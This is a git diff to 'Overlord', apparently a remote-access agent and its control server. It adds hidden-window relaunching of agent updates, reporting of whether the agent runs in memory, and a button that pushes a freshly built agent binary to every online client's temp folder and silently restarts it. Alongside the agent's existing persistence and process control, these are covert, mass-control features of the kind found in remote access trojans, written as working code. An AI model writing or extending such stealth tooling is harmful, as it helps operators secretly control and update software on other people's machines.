diff --git a/Overlord-Client/cmd/agent/handlers/agent_update.go b/Overlord-Client/cmd/agent/handlers/agent_update.go index 6f9972f..bf3ed52 100644 --- a/Overlord-Client/cmd/agent/handlers/agent_update.go +++ b/Overlord-Client/cmd/agent/handlers/agent_update.go @@ -17,7 +17,7 @@ import ( "overlord-client/cmd/agent/wire" ) -func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string) error { +func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string, hideWindow bool) error { sourcePath = strings.TrimSpace(sourcePath) if sourcePath == "" { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"}) @@ -42,7 +42,7 @@ func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, go func() { // Let the command_result flush before beginning process replacement. time.Sleep(250 * time.Millisecond) - if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence); err != nil { + if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence, hideWindow); err != nil { log.Printf("agent_update: %v", err) return } diff --git a/Overlord-Client/cmd/agent/handlers/agent_update_unix.go b/Overlord-Client/cmd/agent/handlers/agent_update_unix.go index 97f1bb1..ac61b45 100644 --- a/Overlord-Client/cmd/agent/handlers/agent_update_unix.go +++ b/Overlord-Client/cmd/agent/handlers/agent_update_unix.go @@ -16,7 +16,7 @@ func samePathByOS(left string, right string) bool { return filepath.Clean(left) == filepath.Clean(right) } -func runAgentUpdate(sourcePath string, enablePersistence bool) error { +func runAgentUpdate(sourcePath string, enablePersistence bool, hideWindow bool) error { currentExe, currentErr := resolveCurrentExecutableOnDisk() startupPath, startupEnabled, err := startupTargetPath(enablePersistence) if err != nil { diff --git a/Overlord-Client/cmd/agent/handlers/agent_update_windows.go b/Overlord-Client/cmd/agent/handlers/agent_update_windows.go index 35ec478..f2f0782 100644 --- a/Overlord-Client/cmd/agent/handlers/agent_update_windows.go +++ b/Overlord-Client/cmd/agent/handlers/agent_update_windows.go @@ -21,14 +21,14 @@ func samePathByOS(left string, right string) bool { return strings.EqualFold(filepath.Clean(left), filepath.Clean(right)) } -func runAgentUpdate(sourcePath string, enablePersistence bool) error { +func runAgentUpdate(sourcePath string, enablePersistence bool, hideWindow bool) error { currentExe, currentErr := resolveCurrentExecutableOnDisk() startupPath, startupEnabled, err := startupTargetPath(enablePersistence) if err != nil { return err } - log.Printf("agent_update[win]: source=%q persistence=%v currentExe=%q currentErr=%v startupEnabled=%v startupPath=%q", sourcePath, enablePersistence, currentExe, currentErr, startupEnabled, startupPath) + log.Printf("agent_update[win]: source=%q persistence=%v currentExe=%q currentErr=%v startupEnabled=%v startupPath=%q hideWindow=%v", sourcePath, enablePersistence, currentExe, currentErr, startupEnabled, startupPath, hideWindow) if currentErr != nil && !startupEnabled { return currentErr @@ -65,7 +65,7 @@ func runAgentUpdate(sourcePath string, enablePersistence bool) error { if shouldLaunchUploadedBinaryDirectly(currentExe, startupEnabled) { log.Printf("agent_update[win]: current executable appears transient (%q), launching uploaded binary directly: %q", currentExe, sourcePath) - if err := startSilentProcess(sourcePath, nil, "", true); err != nil { + if err := startSilentProcess(sourcePath, nil, "", hideWindow); err != nil { return fmt.Errorf("failed to launch uploaded binary directly: %w", err) } return nil @@ -84,7 +84,7 @@ func runAgentUpdate(sourcePath string, enablePersistence bool) error { } _ = os.Remove(sourcePath) - if err := startSilentProcess(restartPath, nil, "", true); err != nil { + if err := startSilentProcess(restartPath, nil, "", hideWindow); err != nil { return fmt.Errorf("failed to launch updated agent: %w", err) } log.Printf("agent_update[win]: started updated executable directly: %q", restartPath) diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index ea7c170..e5761fe 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1747,7 +1747,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in payload, _ := envelope["payload"].(map[string]interface{}) path, _ := payload["path"].(string) hash, _ := payload["hash"].(string) - return HandleAgentUpdate(ctx, env, cmdID, path, hash) + hideWindow, _ := payload["hideWindow"].(bool) + return HandleAgentUpdate(ctx, env, cmdID, path, hash, hideWindow) case "process_list": return HandleProcessList(ctx, env, cmdID) case "process_kill": diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index 90b13ef..e9711ad 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -11,6 +11,7 @@ import ( "math/rand" "net/http" "os" + "path/filepath" "runtime" "runtime/debug" "strconv" @@ -29,6 +30,25 @@ import ( "nhooyr.io/websocket" ) +func isRunningInMemory() bool { + exePath, err := os.Executable() + if err != nil { + return true + } + if realPath, err := filepath.EvalSymlinks(exePath); err == nil { + exePath = realPath + } + absPath, err := filepath.Abs(exePath) + if err != nil { + return true + } + info, err := os.Stat(absPath) + if err != nil || !info.Mode().IsRegular() { + return true + } + return false +} + func runClient(cfg config.Config) { baseBackoff := computeBaseBackoff() backoff := baseBackoff @@ -481,6 +501,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. BuildTag: cfg.BuildTag, PublicKey: publicKeyB64, Signature: signatureB64, + InMemory: isRunningInMemory(), } if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 404da2d..208d5ce 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -15,6 +15,7 @@ type Hello struct { BuildTag string `msgpack:"buildTag,omitempty"` PublicKey string `msgpack:"publicKey,omitempty"` Signature string `msgpack:"signature,omitempty"` + InMemory bool `msgpack:"inMemory,omitempty"` } type EnrollmentChallenge struct { diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index cec9cfa..ecffeca 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -666,6 +666,10 @@ async function startBuild(config) { buildBtn.disabled = true; buildBtn.innerHTML = ' Building...'; + if (buildUpdateAllBtn) { + buildUpdateAllBtn.disabled = true; + buildUpdateAllBtn.innerHTML = ' Building...'; + } buildStatus.classList.remove("hidden"); buildStatusText.textContent = "Starting build..."; @@ -712,11 +716,16 @@ async function startBuild(config) { buildStatus.querySelector("div").className = "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60"; buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark"; + pendingUpdateAll = false; } finally { isBuilding = false; buildBtn.disabled = false; buildBtn.innerHTML = ' Start Build'; + if (buildUpdateAllBtn) { + buildUpdateAllBtn.disabled = false; + buildUpdateAllBtn.innerHTML = ' Build & Update All'; + } } } @@ -784,6 +793,12 @@ async function streamBuildOutput(buildId, config = {}) { buildResults.classList.remove("hidden"); displayBuild(buildData); + + // Auto-push update if "Build & Update All" was used + if (pendingUpdateAll) { + pendingUpdateAll = false; + await pushUpdateToAllClients(data.buildId, pendingUpdateHideWindow); + } } reader.cancel(); @@ -1219,3 +1234,147 @@ function showBuildFilesForContainer(build, containerId, timerId) { setInterval(() => updateExpirationTimer(timerEl, build.expiresAt), 60000); } } + +const buildUpdateAllBtn = document.getElementById("build-update-all-btn"); +const updateAllModal = document.getElementById("update-all-modal"); +const updateAllModalBody = document.getElementById("update-all-modal-body"); +const updateAllCancel = document.getElementById("update-all-cancel"); +const updateAllConfirm = document.getElementById("update-all-confirm"); + +let pendingUpdateAll = false; +let pendingUpdateHideWindow = false; + +function showUpdateAllModal() { + if (!updateAllModal) return; + updateAllModal.classList.remove("hidden"); + updateAllModal.classList.add("flex"); +} + +function hideUpdateAllModal() { + if (!updateAllModal) return; + updateAllModal.classList.remove("flex"); + updateAllModal.classList.add("hidden"); + if (updateAllConfirm) { + updateAllConfirm.innerHTML = ' Build & Update'; + updateAllConfirm.disabled = false; + } + if (updateAllCancel) { + updateAllCancel.textContent = "Cancel"; + } +} + +if (updateAllCancel) { + updateAllCancel.addEventListener("click", hideUpdateAllModal); +} + +if (updateAllModal) { + updateAllModal.addEventListener("click", (e) => { + if (e.target === updateAllModal) hideUpdateAllModal(); + }); +} + +if (buildUpdateAllBtn) { + buildUpdateAllBtn.addEventListener("click", async () => { + if (isBuilding) return; + + const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked'); + const platforms = Array.from(platformCheckboxes).map((cb) => cb.value); + if (platforms.length === 0) { + alert("Please select at least one platform to build"); + return; + } + + showUpdateAllModal(); + updateAllConfirm.disabled = true; + updateAllModalBody.innerHTML = '

Checking online clients...

'; + + try { + const res = await fetch("/api/build/update-eligible", { + method: "POST", + headers: { "Content-Type": "application/json" }, + credentials: "include", + body: JSON.stringify({ platforms }), + }); + + if (!res.ok) { + const data = await res.json().catch(() => ({})); + updateAllModalBody.innerHTML = `

${data.error || "Failed to check eligible clients"}

`; + return; + } + + const data = await res.json(); + let html = ""; + + html += `

${data.eligible} client(s) will receive the update after build.

`; + html += '
'; + html += `

${data.totalOnline} total online client(s)

`; + if (data.skippedInMemory > 0) { + html += `

${data.skippedInMemory} client(s) will be skipped (running in-memory)

`; + } + if (data.skippedNoMatch > 0) { + html += `

${data.skippedNoMatch} client(s) will be skipped (no matching platform)

`; + } + html += "
"; + + if (data.eligible === 0 && data.totalOnline === 0) { + html += '

No clients are currently online. The build will still run but no updates will be sent.

'; + } + + html += '

This will build the client and push the update to all eligible clients. Clients will restart automatically.

'; + updateAllConfirm.disabled = false; + + updateAllModalBody.innerHTML = html; + } catch (err) { + updateAllModalBody.innerHTML = `

Error: ${err.message}

`; + } + }); +} + +if (updateAllConfirm) { + updateAllConfirm.addEventListener("click", () => { + hideUpdateAllModal(); + pendingUpdateAll = true; + pendingUpdateHideWindow = !!form.querySelector('input[name="hide-console"]')?.checked; + form.requestSubmit(); + }); +} + +async function pushUpdateToAllClients(buildId, hideWindow) { + addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info"); + + try { + const res = await fetch("/api/build/update-all", { + method: "POST", + headers: { "Content-Type": "application/json" }, + credentials: "include", + body: JSON.stringify({ buildId, hideWindow }), + }); + + const data = await res.json().catch(() => ({})); + + if (!res.ok) { + addBuildOutput(`Update failed: ${data.error || "Unknown error"}\n`, "error"); + return; + } + + const succeeded = data.successCount || 0; + const total = data.totalOnline || 0; + const failed = (data.results || []).filter((r) => !r.ok); + const inMemoryCount = failed.filter((r) => r.reason === "in_memory").length; + const noMatchCount = failed.filter((r) => r.reason === "no_matching_build").length; + + addBuildOutput(`Update sent to ${succeeded} of ${total} online client(s)\n`, "success"); + if (inMemoryCount > 0) { + addBuildOutput(` ${inMemoryCount} client(s) skipped (running in-memory)\n`, "warn"); + } + if (noMatchCount > 0) { + addBuildOutput(` ${noMatchCount} client(s) skipped (no matching build)\n`, "warn"); + } + const otherFailed = failed.filter((r) => r.reason !== "in_memory" && r.reason !== "no_matching_build"); + if (otherFailed.length > 0) { + addBuildOutput(` ${otherFailed.length} client(s) failed for other reasons\n`, "warn"); + } + } catch (err) { + addBuildOutput(`Update error: ${err.message}\n`, "error"); + } +} diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index c7447fa..4ed7c7c 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -512,11 +512,19 @@ - +
+ + + +
@@ -550,6 +558,32 @@ + + + + diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts index aa071dc..26ef6ea 100644 --- a/Overlord-Server/src/server/routes/build-routes.ts +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -1,13 +1,19 @@ +import { createHash } from "crypto"; import { v4 as uuidv4 } from "uuid"; import { authenticateRequest } from "../../auth"; import { AuditAction, logAudit } from "../../auditLog"; import * as buildManager from "../../build/buildManager"; +import * as clientManager from "../../clientManager"; import { deleteBuild, getAllBuilds, getBuild } from "../../db"; +import { encodeMessage } from "../../protocol"; +import { metrics } from "../../metrics"; import { requirePermission } from "../../rbac"; import { logger } from "../../logger"; +import { normalizeClientOs } from "../deploy-utils"; import path from "path"; import fs from "fs"; import { resolveRuntimeRoot } from "../runtime-paths"; +import { createUploadPull } from "./file-download-routes"; type RequestIpProvider = { requestIP: (req: Request) => { address?: string } | null | undefined; @@ -438,6 +444,232 @@ export async function handleBuildRoutes( }); } + if (req.method === "POST" && url.pathname === "/api/build/update-eligible") { + requirePermission(user, "clients:build"); + + let body: any = {}; + try { + body = await req.json(); + } catch { + return new Response("Bad request", { status: 400 }); + } + + // Accept either a buildId (check existing build files) or platforms array (pre-build check) + const buildId = typeof body?.buildId === "string" ? body.buildId : ""; + const platforms: string[] = Array.isArray(body?.platforms) ? body.platforms.filter((p: any) => typeof p === "string") : []; + + let targetPlatforms: Set; + + if (buildId) { + const build = buildManager.getBuildStream(buildId); + const dbBuild = !build ? getBuild(buildId) : null; + const files = build?.files ?? dbBuild?.files; + if (!files || files.length === 0) { + return Response.json({ error: "Build not found or has no files" }, { status: 404 }); + } + + const rootDir = resolveRuntimeRoot(); + const distRoot = path.resolve(rootDir, "dist-clients"); + + targetPlatforms = new Set(); + for (const f of files as any[]) { + const platform = (f as any).platform as string | undefined; + const filename = f.filename || f.name; + if (!platform || !filename) continue; + const filePath = path.resolve(distRoot, filename); + if (fs.existsSync(filePath)) { + targetPlatforms.add(platform); + } + } + } else if (platforms.length > 0) { + targetPlatforms = new Set(platforms); + } else { + return Response.json({ error: "Missing buildId or platforms" }, { status: 400 }); + } + + if (targetPlatforms.size === 0) { + return Response.json({ error: "No matching platforms found" }, { status: 404 }); + } + + const onlineClients = clientManager.getOnlineClients(); + let eligible = 0; + let skippedInMemory = 0; + let skippedNoMatch = 0; + + for (const client of onlineClients) { + if (client.inMemory) { + skippedInMemory++; + continue; + } + const clientOs = client.os?.toLowerCase() || ""; + const clientArch = client.arch?.toLowerCase() || ""; + const clientPlatform = `${clientOs}-${clientArch}`; + if (!targetPlatforms.has(clientPlatform)) { + skippedNoMatch++; + continue; + } + eligible++; + } + + return Response.json({ + eligible, + skippedInMemory, + skippedNoMatch, + totalOnline: onlineClients.length, + }); + } + + if (req.method === "POST" && url.pathname === "/api/build/update-all") { + requirePermission(user, "clients:build"); + if (user.role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + + let body: any = {}; + try { + body = await req.json(); + } catch { + return new Response("Bad request", { status: 400 }); + } + + const buildId = typeof body?.buildId === "string" ? body.buildId : ""; + if (!buildId) { + return Response.json({ error: "Missing buildId" }, { status: 400 }); + } + + const build = buildManager.getBuildStream(buildId); + const dbBuild = !build ? getBuild(buildId) : null; + const files = build?.files ?? dbBuild?.files; + if (!files || files.length === 0) { + return Response.json({ error: "Build not found or has no files" }, { status: 404 }); + } + + const rootDir = resolveRuntimeRoot(); + const distRoot = path.resolve(rootDir, "dist-clients"); + + const hideWindow = body?.hideWindow === true; + + const buildPlatforms = new Map(); + for (const f of files as any[]) { + const platform = (f as any).platform as string | undefined; + const filename = f.filename || f.name; + if (!platform || !filename) continue; + const filePath = path.resolve(distRoot, filename); + const rootWithSep = distRoot.endsWith(path.sep) ? distRoot : `${distRoot}${path.sep}`; + if (!filePath.startsWith(rootWithSep)) continue; + if (!fs.existsSync(filePath)) continue; + const stat = fs.statSync(filePath); + buildPlatforms.set(platform, { filename, filePath, size: stat.size }); + } + + if (buildPlatforms.size === 0) { + return Response.json({ error: "No build files found on disk" }, { status: 404 }); + } + + // Pre-compute hashes per platform (avoid re-reading per client) + const platformHashes = new Map(); + for (const [platform, buildFile] of buildPlatforms) { + const fileBytes = new Uint8Array(fs.readFileSync(buildFile.filePath)); + platformHashes.set(platform, createHash("sha256").update(fileBytes).digest("hex")); + } + + const onlineClients = clientManager.getOnlineClients(); + const results: Array<{ clientId: string; ok: boolean; reason?: string }> = []; + + for (const client of onlineClients) { + if (client.inMemory) { + results.push({ clientId: client.id, ok: false, reason: "in_memory" }); + continue; + } + if (!client.ws) { + results.push({ clientId: client.id, ok: false, reason: "no_ws" }); + continue; + } + + const clientOs = client.os?.toLowerCase() || ""; + const clientArch = client.arch?.toLowerCase() || ""; + const clientPlatform = `${clientOs}-${clientArch}`; + const buildFile = buildPlatforms.get(clientPlatform); + if (!buildFile) { + results.push({ clientId: client.id, ok: false, reason: "no_matching_build" }); + continue; + } + + try { + const fileHash = platformHashes.get(clientPlatform)!; + const clientNormOs = normalizeClientOs(client.os); + const destDir = clientNormOs === "windows" + ? `C:\\Windows\\Temp\\Overlord\\update-${buildId.substring(0, 8)}` + : `/tmp/overlord/update-${buildId.substring(0, 8)}`; + const destPath = clientNormOs === "windows" + ? `${destDir}\\${buildFile.filename}` + : `${destDir}/${buildFile.filename}`; + + const pullId = createUploadPull({ + clientId: client.id, + filePath: buildFile.filePath, + fileName: buildFile.filename, + size: buildFile.size, + }); + const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`; + + client.ws.send( + encodeMessage({ + type: "command", + commandType: "file_upload_http", + id: uuidv4(), + payload: { path: destPath, url: pullUrl, total: buildFile.size }, + }), + ); + + if (clientNormOs !== "windows") { + client.ws.send( + encodeMessage({ + type: "command", + commandType: "file_chmod", + id: uuidv4(), + payload: { path: destPath, mode: "0755" }, + }), + ); + } + + client.ws.send( + encodeMessage({ + type: "command", + commandType: "agent_update", + id: uuidv4(), + payload: { path: destPath, hash: fileHash, hideWindow }, + }), + ); + + metrics.recordCommand("agent_update"); + results.push({ clientId: client.id, ok: true }); + } catch (err: any) { + results.push({ clientId: client.id, ok: false, reason: err?.message || "unknown_error" }); + } + } + + const successCount = results.filter((r) => r.ok).length; + const ip = server.requestIP(req)?.address || "unknown"; + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.AGENT_UPDATE, + success: true, + details: `update-all: ${successCount}/${onlineClients.length} clients updated from build ${buildId.substring(0, 8)}`, + }); + + logger.info(`[build:update-all] ${user.username} updated ${successCount}/${onlineClients.length} clients from build ${buildId.substring(0, 8)}`); + + return Response.json({ + ok: true, + totalOnline: onlineClients.length, + successCount, + results, + }); + } + return new Response("Not found", { status: 404 }); } catch (error) { if (error instanceof Response) { diff --git a/Overlord-Server/src/server/routes/deploy-routes.ts b/Overlord-Server/src/server/routes/deploy-routes.ts index a85e45d..118119c 100644 --- a/Overlord-Server/src/server/routes/deploy-routes.ts +++ b/Overlord-Server/src/server/routes/deploy-routes.ts @@ -362,7 +362,7 @@ export async function handleDeployRoutes( type: "command", commandType: "agent_update", id: uuidv4(), - payload: { path: destPath, hash }, + payload: { path: destPath, hash, hideWindow: true }, }), ); diff --git a/Overlord-Server/src/types.ts b/Overlord-Server/src/types.ts index fe7a580..4673853 100644 --- a/Overlord-Server/src/types.ts +++ b/Overlord-Server/src/types.ts @@ -24,6 +24,7 @@ export type ClientInfo = { monitorInfo?: { width: number; height: number }[]; country?: string; pingMs?: number; + inMemory?: boolean; enrollmentStatus?: EnrollmentStatus; publicKey?: string; keyFingerprint?: string; diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts index 8506719..ccd11b3 100644 --- a/Overlord-Server/src/wsHandlers.ts +++ b/Overlord-Server/src/wsHandlers.ts @@ -88,6 +88,7 @@ export function handleHello( info.user = payload.user; info.monitors = payload.monitors; info.monitorInfo = (payload as any).monitorInfo || info.monitorInfo; + info.inMemory = !!(payload as any).inMemory; const geo = ip ? geoip.lookup(ip) : undefined; const countryRaw = geo?.country || (payload as any).country || info.country || "ZZ";